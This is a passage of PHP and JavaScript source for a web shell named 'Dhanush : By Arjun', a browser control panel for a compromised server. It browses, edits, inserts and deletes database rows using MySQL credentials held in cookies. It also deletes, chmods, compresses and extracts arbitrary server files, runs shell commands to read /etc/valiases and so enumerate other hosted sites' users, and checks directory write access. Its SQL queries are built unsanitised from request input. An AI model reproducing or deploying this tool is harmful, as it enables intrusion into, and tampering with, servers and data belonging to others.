name=action><input type=hidden name=tablename value=\$tablename><input type=hidden value=\$dbname name=dbname><select style='width: 95px;' name=page class=sbox>\";\r\n\t\t\t\tfor(\$i=0;\$i<\$coun;\$i++)\r\n\t\t\t\t\techo \"<option value=\$i>\$i</option>\";\r\n\t\t\t\t\r\n\t\t\t\techo \"</select> <input type=button onClick=\\\"viewtables('viewdata','\$dbname','\$tablename','','','','',page.value)\\\" value=Go class=but></form>\";\r\n\t\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Delete Table Data\r\n\t\tif(\$_GET['action'] == \"deleteData\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname') AND (`TABLE_NAME` = '\$tablename') AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$row = \$row['COLUMN_NAME'];\r\n\t\t\t\$rowid = \$_GET[\$row];\r\n\t\t\tmysql_query(\"delete from \$tablename where \$row = '\$rowid'\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t// Edit Table Data\r\n\t\tif(\$_GET['action'] == \"editData\")\r\n\t\t{\r\n\t\t\tglobal \$queryStr, \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby, \$data;\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t?>\r\n\t\t\t<br><br>\r\n\t\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t\t<?php \r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname') AND (`TABLE_NAME` = '\$tablename') AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$row = \$row['COLUMN_NAME'];\r\n\t\t\t\$rowid = \$_GET[\$row];\r\n\t\t\t\t\t\t\r\n\t\t\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\r\n\t\t\t\$num = mysql_num_fields( \$pResult );\r\n\t\r\n\t\t\t\$key = \"\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\t\tif( \$field->numeric == 1 )\r\n\t\t\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\r\n\t\t\t}\r\n\t\t\t\$key = substr( \$key, 0, strlen(\$key)-4 );\r\n\t\r\n\t\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\t\$pResult = mysql_query( \$queryStr = \"SELECT * FROM \$tablename WHERE \$row = \$rowid\", \$mysqlHandle );\r\n\t\t\t\$data = mysql_fetch_array( \$pResult );\r\n\t\t\r\n\t\t\techo \"<table cellspacing=1 cellpadding=2 border=1>\\n\";\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<th>Name</th>\\n\";\r\n\t\t\techo \"<th>Type</th>\\n\";\r\n\t\t\techo \"<th>Function</th>\\n\";\r\n\t\t\techo \"<th>Data</th>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\r\n\t\t\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\t\t\$num = mysql_num_rows( \$pResult );\r\n\t\t\r\n\t\t\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\t\t\t\$fundata1 = \"'action','editsubmitData','dbname','\".\$dbname.\"','tablename','\".\$tablename.\"',\";\r\n\t\t\t\$fundata2 = \"'action','insertdata','dbname','\".\$dbname.\"','tablename','\".\$tablename.\"',\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\t\t\$fieldtype = \$field[\"Type\"];\r\n\t\t\t\t\$len = mysql_field_len( \$pResultLen, \$i );\r\n\t\t\r\n\t\t\t\techo \"<tr>\";\r\n\t\t\t\techo \"<td>\$fieldname</td>\";\r\n\t\t\t\techo \"<td>\".\$field[\"Type\"].\"</td>\";\r\n\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\techo \"<select name=\${fieldname}_function class=sbox>\\n\";\r\n\t\t\t\techo \"<option>\\n\";\r\n\t\t\t\techo \"<option>ASCII\\n\";\r\n\t\t\t\techo \"<option>CHAR\\n\";\r\n\t\t\t\techo \"<option>SOUNDEX\\n\";\r\n\t\t\t\techo \"<option>CURDATE\\n\";\r\n\t\t\t\techo \"<option>CURTIME\\n\";\r\n\t\t\t\techo \"<option>FROM_DAYS\\n\";\r\n\t\t\t\techo \"<option>FROM_UNIXTIME\\n\";\r\n\t\t\t\techo \"<option>NOW\\n\";\r\n\t\t\t\techo \"<option>PASSWORD\\n\";\r\n\t\t\t\techo \"<option>PERIOD_ADD\\n\";\r\n\t\t\t\techo \"<option>PERIOD_DIFF\\n\";\r\n\t\t\t\techo \"<option>TO_DAYS\\n\";\r\n\t\t\t\techo \"<option>USER\\n\";\r\n\t\t\t\techo \"<option>WEEKDAY\\n\";\r\n\t\t\t\techo \"<option>RAND\\n\";\r\n\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t\$value = htmlspecialchars(\$data[\$i]);\r\n\t\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\r\n\t\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) \r\n\t\t\t\t{\r\n\t\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\t\tif( \$type == \"enum\" )\r\n\t\t\t\t\t\techo \"<select name=\$fieldname class=box>\\n\";\r\n\t\t\t\t\telse if( \$type == \"set\" )\r\n\t\t\t\t\t\techo \"<select name=\$fieldname size=4 class=box multiple>\\n\";\r\n\t\t\t\t\twhile( \$str = strtok( \"'\" ) ) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif( \$value == \$str )\r\n\t\t\t\t\t\t\techo \"<option selected>\$str\\n\";\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\techo \"<option>\$str\\n\";\r\n\t\t\t\t\t\tstrtok( \"'\" );\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t\t} \r\n\t\t\t\t\telse \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif( \$len < 40 )\r\n\t\t\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len id=dhanush_\$fieldname name=sql_\$fieldname value=\\\"\$value\\\" class=box></td>\\n\";\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\techo \"<td><textarea cols=47 rows=3 maxlength=\$len name=dhanush_\$fieldname class=box>\$value</textarea>\\n\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$fundata1 .= \"'dhanush_\".\$fieldname.\"',dhanush_\".\$fieldname.\".value,\";\r\n\t\t\t\t\t\$fundata2 .= \"'dhanush_\".\$fieldname.\"',dhanush_\".\$fieldname.\".value,\";\r\n\t\t\t\techo \"</tr>\";\r\n\t\t\t}\r\n\t\t\t\$fundata1=eregi_replace(',\$', '', \$fundata1); \r\n\t\t\t\$fundata2=eregi_replace(',\$', '', \$fundata2);\r\n\t\t\t\r\n\t\t\techo \"</table><p>\\n\";\r\n\t\t\techo \"<input type=button onClick=\\\"editdata(\$fundata1)\\\" value='Edit Data' class=but>\\n\";\r\n\t\t\techo \"<input type=button value='Insert' onClick=\\\"editdata(\$fundata2)\\\" class=but>\\n\";\r\n\t\t\techo \"</form>\\n\";\r\n\t\t}\r\n\t}\r\n// Edit Submit Table Data\r\nelse if(\$_REQUEST['action'] == \"editsubmitData\")\r\n{\r\n\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\$dbname = \$_POST['dbname'];\r\n\t\$tablename = \$_POST['tablename'];\r\n\t\r\n\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\tmysql_select_db(\$dbname);\r\n\t\r\n\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname') AND (`TABLE_NAME` = '\$tablename') AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\$row = mysql_fetch_array(\$sql);\r\n\t\$row = \$row['COLUMN_NAME'];\r\n\t\$rowid = \$_POST[\$row];\r\n\t\t\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\t\r\n\t\$rowcount = \$num;\r\n\t\t\t\t\r\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t{\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\$arrdata = \$_REQUEST[\$fieldname];\r\n\t\r\n\t\t\$str .= \" \" . \$fieldname . \" = '\" . \$arrdata . \"'\";\r\n\t\t\$rowcount--;\r\n\t\tif(\$rowcount != 0)\r\n\t\t\t\$str .= \",\";\r\n\t}\r\n\t\r\n\t\$str = \"update \$tablename set\" . \$str . \" where \$row=\$rowid\";\r\n\tmysql_query(\$str);\r\n\t?><div id=\"showsql\"></div><?php\r\n}\r\n// Insert Table Data\r\nelse if(\$_REQUEST['action'] == \"insertdata\")\r\n{\r\n\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\$dbname = \$_POST['dbname'];\r\n\t\$tablename = \$_POST['tablename'];\r\n\t\r\n\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname') AND (`TABLE_NAME` = '\$tablename') AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\$row = mysql_fetch_array(\$sql);\r\n\t\$row = \$row['COLUMN_NAME'];\r\n\t\$rowid = \$_POST[\$row];\r\n\t\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\t\r\n\t\$rowcount = \$num;\r\n\t\t\t\t\r\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t{\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\$arrdata = \$_REQUEST[\$fieldname];\r\n\t\r\n\t\t\$str1 .= \"\".\$fieldname . \",\";\r\n\t\t\$str2 .= \"'\".\$arrdata . \"',\";\r\n\t\t\$rowcount--;\r\n\t\tif(\$rowcount != 0)\r\n\t\t{\r\n\t\t\t//\$str1 .= \$fieldname . \",\";\r\n\t\t\t//\$str2 .= \$arrdata . \",\";\r\n\t\t}\r\n\t}\r\n\t\$str1=eregi_replace(',\$', '', \$str1); \r\n\t\$str2=eregi_replace(',\$', '', \$str2); \r\n\t\$str = \"INSERT INTO `\$tablename` (\$str1) VALUES (\$str2);\";\r\n\tmysql_query(\$str);\r\n\t\r\n\t?><div id=\"showsql\"></div><?php\r\n}\r\nelse if(isset(\$_GET['logoutdb']))\r\n{\r\n\tsetcookie(\"dbserver\",time() - 60*60);\r\n\tsetcookie(\"dbuser\",time() - 60*60);\r\n\tsetcookie(\"dbpass\",time() - 60*60);\r\n\theader(\"Location:\$self\");\r\n}\r\nelse if(isset(\$_POST['choice']))\r\n{ \r\n\tif(\$_POST['choice'] == \"delete\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\t\t\t\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\t\t\t\r\n\t\t\tif(is_file(\$v))\r\n\t\t\t{\r\n\t\t\t\tif(unlink(\$v))\r\n\t\t\t\t\techo \"<br><center><font class=txt>File \$v Deleted Successfully</font></center>\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \"<br><center>Cannot Delete File \$v</center>\";\r\n\t\t\t}\t\r\n\t\t\telse if(is_dir(\$v))\r\n\t\t\t{\r\n\t\t\t\trrmdir(\$v);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"chmod\")\r\n\t{ ?>\r\n\t\t<form id=\"chform\"><?php \r\n\t\t\$actbox1 = \$_POST['actbox'];\r\n\t\tforeach (\$actbox1 as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{ ?>\r\n\t\t\t<input type=\"hidden\" name=\"actbox3[]\" id=\"actbox3[]\" value=\"<?php echo \$v; ?>\">\r\n\t\t<?php }\r\n\t\t?>\r\n\t\t\t<table align=\"center\" border=\"3\" style=\"width:40%; border-color:#333333;\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td style=\"height:40px\" align=\"right\">Change Permissions </td><td align=\"center\"><input value=\"0755\" name=\"chmode\" class=\"sbox\" /></td> \r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\" align=\"center\" style=\"height:60px\">\r\n\t\t\t<input type=\"button\" onClick=\"myaction('changefileperms',chmode.value)\" value=\"Change Permission\" class=\"but\" style=\"padding: 5px;\" /></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t\r\n\t\t</form> <?php\r\n\t}\r\n\telse if(\$_POST['choice'] == \"changefileperms\")\r\n\t{\r\n\t\tif(\$_POST['chmode'] != null && is_numeric(\$_POST['chmode']))\r\n\t\t{\r\n\t\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\t\tforeach (\$actbox as \$myv) \r\n\t\t\t\$myv = explode(\",\",\$myv);\r\n\t\t\tforeach (\$myv as \$v) \r\n\t\t\t{\r\n\t\t\t\tif(is_file(\$v) || is_dir(\$v))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$perms = 0; \r\n\t\t\t\t\tfor(\$i=strlen(\$_POST['chmode'])-1;\$i>=0;--\$i) \r\n\t\t\t\t\t\t\$perms += (int)\$_POST['chmode'][\$i]*pow(8, (strlen(\$_POST['chmode'])-\$i-1)); \r\n\t\t\t\t\techo \"<div align=left style=width:60%;>\";\r\n\t\t\t\t\tif(@chmod(\$v,\$perms))\r\n\t\t\t\t\t\techo \"<font class=txt>File \$v Permissions Changed Successfully</font><br>\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \"Cannot Change \$v File Permissions<br>\";\r\n\t\t\t\t\techo \"</div>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"compre\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\r\n\t\t\tif(is_file(\$v))\r\n\t\t\t{\r\n\t\t\t\t\$zip = new ZipArchive();\r\n\t\t\t\t\$filename= basename(\$v) . '.zip';\r\n\t\t\t\tif((\$zip->open(\$filename, ZipArchive::CREATE))!==true)\r\n\t\t\t\t{ echo '<br><font size=3>Error: Unable to create zip file for \$v</font>';}\r\n\t\t\t\telse {echo \"<br><font class=txt size=3>File \$v Compressed successfully</font>\";}\r\n\t\t\t\t\$zip->addFile(basename(\$v));\r\n\t\t\t\t\$zip->close();\r\n\t\t\t}\r\n\t\t\telse if(is_dir(\$v))\r\n\t\t\t{\r\n\t\t\t\tif(\$os == \"Linux\")\r\n\t\t\t\t{\r\n\t\t\t\t\t\$filename= basename(\$v);\r\n\t\t\t\t\texecmd(\"tar --create --recursion --file=\$filename.tar \$v\");\r\n\t\t\t\t\techo \"<br><font class=txt size=3>File \$v Compressed successfully as \$v.tar</font>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"uncompre\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\r\n\t\t\t if(is_file(\$v) || is_dir(\$v))\r\n\t\t\t {\r\n\t\t\t \$zip = new ZipArchive;\r\n\t\t\t \$filename= basename(\$v);\r\n\t\t\t \$res = \$zip->open(\$filename);\r\n\t\t\t if (\$res === TRUE) \r\n\t\t\t {\r\n\t\t\t \t \$pieces = explode(\".\",\$filename);\r\n\t\t\t\t \$zip->extractTo(\$pieces[0]);\r\n\t\t\t\t \$zip->close();\r\n\t\t\t\t echo \"<br><font class=txt size=3>File \$v Unzipped successfully</font>\";\r\n\t\t\t } else\r\n\t\t\t\t echo \"<br><font size=3>Error: Unable to Unzip file \$v</font>\";\r\n\t\t\t }\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_GET['sitename']))\r\n{\r\n\t\$sitename = str_replace(\"http://\",\"\",\$_GET['sitename']);\r\n\t\$sitename = str_replace(\"http://www.\",\"\",\$sitename);\r\n\t\$sitename = str_replace(\"www.\",\"\",\$sitename);\r\n\t\$show = myexe(\"ls -la /etc/valiases/\".\$sitename);\r\n\tif(!empty(\$show))\r\n\t\techo \$show;\r\n\telse\r\n\t\techo \"Cannot get the username\";\r\n}\r\nelse if(isset(\$_GET['mydata']))\r\n{\r\n\tlistdatabase();\r\n}\r\nelse if(isset(\$_GET['home']))\r\n{\r\n\tmainfun(\$_GET['home']);\r\n}\r\nelse if(isset(\$_GET['dir']))\r\n{\r\n\tmainfun(\$_GET['myfilepath']);\r\n}\r\nelse if(isset(\$_GET['mydirpath']))\r\n{\r\n\techo is_writable(\$_GET['mydirpath'])?\"<font class=txt>< writable ></font>\":\"< not writable >\";\r\n}\r\nelse\r\n{\r\n?>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/> \r\n<title>Dhanush : By Arjun</title>\r\n<script type=\"text/javascript\">\r\nchecked = false;\r\nvar waitstate = \"<center><marquee scrollamount=4 width=150>Wait....</marquee></center>\";\r\nfunction checkedAll () \r\n{\r\n if (checked == false){checked = true}else{checked = false}\r\n\tfor (var i = 0; i < document.getElementById('myform').elements.length; i++) \r\n\t{\r\n\t document.getElementById('myform').elements[i].checked = checked;\r\n\t}\r\n}\r\nfunction urlchange(myfilepath)\r\n{\r\n\tvar mypath, mpath, i, t, j, r = \"\",myurl = \"\",splitter=\"\";\r\n\tsplitter = \"<?php echo addslashes(\$directorysperator); ?>\";\r\n\tmypath = mpath = myfilepath.split(splitter);\r\n\t<?php if(\$os == \"Linux\") { ?>\r\n\t\t\tr = \"/\";\r\n\t\t\tmyurl = \"<a href=javascript:void(0) onClick=\\\"changedir('dir','/')\\\">/</a>\";\r\n\t<?php } ?>\r\n\tfor (i = 0; i < mypath.length; i++) \r\n\t{\r\n\t\tif(mypath[i] == \"\")\r\n\t\t\tcontinue;\r\n \t\tr += mypath[i]+\"<?php echo addslashes(\$directorysperator); ?>\";\r\n\t\t\r\n\t\tmyurl += \"<a href=javascript:void(0) onClick=\\\"changedir('dir','\"+r+\"\\')\\\"><b>\"+mypath[i]+\"<?php echo addslashes(\$directorysperator); ?></b></a>\";\r\n\t}\r\n\tmyurl = myurl.replace(/\\\\/g,\"\\\\\\\\\");\r\n\treturn myurl;\r\n}\r\nfunction wrtblDIR(mydirpath)\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tfor(i=0;i<=3;i++)\r\n\t\t\t\tdocument.getElementsByName(\"wrtble\")[i].innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?&mydirpath=\"+mydirpath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction setpath(myfilpath)\r\n{\r\n\twrtblDIR(myfilpath);\r\n\tdocument.getElementById(\"path\").value=myfilpath;\r\n\tdocument.getElementById(\"createfile\").value=myfilpath;\r\n\tdocument.getElementById(\"createfolder\").value=myfilpath;\r\n\tdocument.getElementById(\"createfolder\").value=myfilpath;\r\n\tdocument.getElementById(\"exepath\").value=myfilpath;\r\n\tdocument.getElementById(\"auexepath\").value=myfilpath;\r\n\tdocument.getElementById(\"showdir\").innerHTML=\"\";\r\n}\r\nfunction changedir(myaction,myfilepath)\r\n{\r\n\tvar myurl = urlchange(myfilepath);\r\n\t\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tsetpath(myfilepath);\r\n\t\t\tdocument.getElementById(\"crdir\").innerHTML=myurl;\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"&myfilepath=\"+myfilepath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction gethome(myaction,mydir)\r\n{\r\n\tvar myurl = urlchange(mydir);\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t\tsetpath(mydir);\r\n\t\t\tdocument.getElementById(\"crdir\").innerHTML=myurl;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"=\"+mydir, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getname(sitename)\r\n{\r\n\tdocument.getElementById(\"showsite\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\t\tdocument.getElementById(\"showsite\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?sitename=\"+sitename, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction myaction(myfileaction,chmode)\r\n{\r\n\tvar mytype = document.getElementsByName('actbox[]');\r\n\tvar mychoice = new Array();\r\n\t\r\n\tfor (var i = 0, length = mytype.length; i < length; i++)\r\n\t{\r\n\t\tif (mytype[i].checked)\r\n\t\t\tmychoice[i] = mytype[i].value;\r\n\t}\r\n\t\r\n\tvar params = \"choice=\"+myfileaction+\"&chmode=\"+chmode+\"&actbox[]=\"+mychoice;\r\n\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction editdata()\r\n{\r\n\tvar result = \"\", // initialize list\r\n i,dbname,tablename;\r\n // iterate through arguments\r\n for (i = 1; i < arguments.length; i++)\r\n {\r\n \t if(i%2 == 0)\r\n \tresult += arguments[i]+'=';\r\n\t else\r\n\t \tresult += arguments[i]+'&';\r\n }\r\n result = result.slice(0, -1);\r\n\t\r\n\tdbname = arguments[3];\r\n\ttablename = arguments[5];\r\n\tvar result=result.replace(/dhanush_/g,\"\"); \r\n\tvar params = arguments[0]+\"=\"+result;\r\n\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tviewtables('listTables',dbname,tablename);\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)\r\n{\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\t\tdocument.getElementById(\"showsql\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?action=\"+action+\"&dbname=\"+dbname+\"&tablename=\"+tablename+\"&\"+rowid+\"=\"+arrdata+\"&executemyquery=\"+executequery+\"&fieldname=\"+fieldname+\"&page=\"+page, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction mydatabase(server,username,password)\r\n{\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tmydatago();\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?executeit&server=\"+server+\"&username=\"+username+\"&password=\"+password, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction mydatago()\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"datatable\").style.display = 